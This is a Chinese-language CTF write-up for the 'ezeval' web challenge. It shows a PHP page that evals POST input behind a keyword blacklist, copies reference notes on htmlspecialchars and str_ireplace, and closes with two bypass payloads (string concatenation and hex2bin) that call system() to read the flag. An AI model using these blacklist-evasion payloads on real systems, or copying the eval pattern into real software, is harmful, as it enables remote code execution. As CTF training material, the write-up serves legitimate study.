当前位置: 代码迷 >> 综合 >> BMZCTF-WEB_ezeval
  详细解决方案

BMZCTF-WEB_ezeval

热度:6   发布时间:2023-11-27 11:35:58.0

打开环境

 <?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
$cmd = str_ireplace($black_list,"BMZCTF",$cmd);
eval($cmd);?> 

这里就很简单的代码审计

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号) 成为 ’&amp‘;
" (双引号) 成为 ’&quot‘;
’ (单引号) 成为’&#039‘;
< (小于) 成为 ’&lt‘;

(大于) 成为 ’&gt‘;
语法
htmlspecialchars(string,quotestyle,character-set)
参数 描述
string 必需。规定要转换的字符串。
quotestyle
可选。规定如何编码单引号和双引号。

ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
character-set
可选。字符串值,规定要使用的字符集。

ISO-8859-1 - 默认。西欧。
ISO-8859-15 - 西欧(增加 Euro 符号以及法语、芬兰语字母)。
UTF-8 - ASCII 兼容多字节 8 比特 Unicode
cp866 - DOS 专用 Cyrillic 字符集
cp1251 - Windows 专用 Cyrillic 字符集
cp1252 - Windows 专用西欧字符集
KOI8-R - 俄语
GB2312 - 简体中文,国家标准字符集
BIG5 - 繁体中文
BIG5-HKSCS - Big5 香港扩展
Shift_JIS - 日语
EUC-JP - 日语
提示和注释
提示:无法被识别的字符集将被忽略,并由 ISO-8859-1 代替。

例子

<?php $str = "John & 'Adams'"; echo htmlspecialchars($str, ENT_COMPAT); echo "
"; echo htmlspecialchars($str, ENT_QUOTES); echo "
"; echo htmlspecialchars($str, ENT_NOQUOTES); ?> 浏览器输出:

John & ‘Adams’
John & ‘Adams’
John & ‘Adams’
如果在浏览器中查看源代码,会看到这些 HTML:

John & 'Adams'
John & 'Adams'
John & 'Adams'

在PHP中,字符串函数 str_ireplace() 用来替换字符串中的一些字符(忽略大小写)。

函数语法:

str_ireplace ( mixed $search , mixed $replace , mixed KaTeX parse error: Expected 'EOF', got '&' at position 16: subject [, int &?count ] ) : mixed
函数参数说明:

参数 描述
search 必需。规定要查找的值。
replace 必需。规定替换 search 中的值的值。
subject 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。
str_ireplace() 用来替换字符串中的一些字符,匹配替换忽略大小写。该函数返回一个字符串或者数组。返回的字符串或数组是将 subject 中全部匹配 search 的值都被 replace 替换之后的结果。

替换的规则如下:1. 如果 search 和 replace 为数组,那么 str_replace() 将对 subject 做二者的映射替换。2. 如果 replace 的值的个数少于 search 的个数,多余的替换将使用空字符串来进行。3. 如果 search 是一个数组而 replace 是一个字符串,那么 search 中每个元素的替换将始终使用这个字符串。4. 如果 search 和 replace 都是数组,它们的值将会被依次处理。

绕过方式很简单了
一:拼接绕过

cmd=(s.y.s.t.e.m)('cat /flag');

二:编码绕过

cmd=hex2bin('73797374656D')('cat /flag');

编码这个是个十六进制转换数学函数,没记错buu有一道相似的题,可以去看看。
希望这篇文章能帮助你!